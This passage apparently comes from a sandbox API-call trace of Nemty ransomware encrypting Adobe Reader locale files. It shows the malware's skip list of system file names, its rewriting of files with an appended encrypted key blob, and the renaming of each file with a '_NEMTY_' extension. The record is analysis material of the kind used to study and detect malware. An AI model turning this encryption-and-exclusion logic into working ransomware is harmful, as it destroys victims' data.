hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.830] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=400896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x61e00 [0179.830] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.831] CloseHandle (hObject=0x2e8) returned 1 [0179.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.831] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\acroform.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\acroform.nor._nemty_kgobjgd_")) returned 1 [0179.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.832] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.NOR", cAlternateFileName="ADOBEC~1.NOR")) returned 1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2=".") returned 1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="..") returned 1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="...") returned 1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="windows") returned -1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="rsa") returned -1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="NTDETECT.COM") returned -1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="ntldr") returned -1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="MSDOS.SYS") returned -1 [0179.832] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="IO.SYS") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="boot.ini") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="boot.ini") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="AUTOEXEC.BAT") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="ntuser.dat") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="desktop.ini") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="CONFIG.SYS") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="RECYCLER") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="BOOTSECT.BAK") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="bootmgr") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="programdata") returned -1 [0179.833] lstrcmpiW (lpString1="AdobeCollabSync.NOR", lpString2="appdata") returned -1 [0179.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0179.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NOR", lpUsedDefaultChar=0x0) returned 19 [0179.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0179.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0179.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NOR", lpUsedDefaultChar=0x0) returned 19 [0179.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0179.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0179.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NOR", lpUsedDefaultChar=0x0) returned 19 [0179.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0179.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.NOR", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.NOR", lpUsedDefaultChar=0x0) returned 19 [0179.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0179.834] Sleep (dwMilliseconds=0x5) [0179.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ed62fb0, dwHighDateTime=0x1d561e8)) [0179.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ed62fb0, dwHighDateTime=0x1d561e8)) [0179.835] GetLastError () returned 0x0 [0179.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.835] GetLastError () returned 0x0 [0179.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.835] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.835] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.835] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0179.835] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="cnaMhgPN+aE17RmW9BdZEqcq1KEAb25iS2LwmENFqG1DWzuWtpWuZe8yWMuNOxKq\r\nflYZ3uhHWDreB+xCvjgzb2rKiNIScdYD6EAyhXLAz79VQiTKYBQ5fXs/TB6bKvvK\r\nATeIoNPe8q7ehgDGkt7KkPtwdKLLdmN/Qr2Fgc9IHkGb2ic6bRFW6cJpsDDHoKWR\r\nGXJFdVve7ejQESH4CWi7jNaF19Av/WphJARG6+sm/jVmuWw4xWR7w7WnpRaJiT/8\r\n42TZPC9MT89wsc+GlZfWBdEjlRXzH3loyvTNf1To5gblj9frjGKgZ1ObqhmJEmhE\r\nG3JYvX3mP/n5q3cN+qpyKA==\r\n", pcchString=0x653e5dc) returned 1 [0179.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0179.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\AdobeCollabSync.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\adobecollabsync.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.836] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0179.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0179.836] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.836] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0179.838] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.838] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0179.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.838] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0179.838] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.838] CloseHandle (hObject=0x2e8) returned 1 [0179.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0179.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0179.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0179.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0179.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.838] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\AdobeCollabSync.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\adobecollabsync.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\AdobeCollabSync.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\adobecollabsync.nor._nemty_kgobjgd_")) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.839] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.NOR", cAlternateFileName="")) returned 1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2=".") returned 1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="..") returned 1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="...") returned 1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="windows") returned -1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="rsa") returned -1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="NTDETECT.COM") returned -1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="ntldr") returned -1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="MSDOS.SYS") returned -1 [0179.839] lstrcmpiW (lpString1="Annots.NOR", lpString2="IO.SYS") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="boot.ini") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="boot.ini") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="AUTOEXEC.BAT") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="ntuser.dat") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="desktop.ini") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="CONFIG.SYS") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="RECYCLER") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="BOOTSECT.BAK") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="bootmgr") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="programdata") returned -1 [0179.840] lstrcmpiW (lpString1="Annots.NOR", lpString2="appdata") returned -1 [0179.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NOR", lpUsedDefaultChar=0x0) returned 10 [0179.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NOR", lpUsedDefaultChar=0x0) returned 10 [0179.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NOR", lpUsedDefaultChar=0x0) returned 10 [0179.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.840] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NOR", lpUsedDefaultChar=0x0) returned 10 [0179.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.840] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.840] Sleep (dwMilliseconds=0x5) [0179.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ed89110, dwHighDateTime=0x1d561e8)) [0179.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ed89110, dwHighDateTime=0x1d561e8)) [0179.850] GetLastError () returned 0x0 [0179.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.850] GetLastError () returned 0x0 [0179.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.850] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.850] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.851] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.851] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: 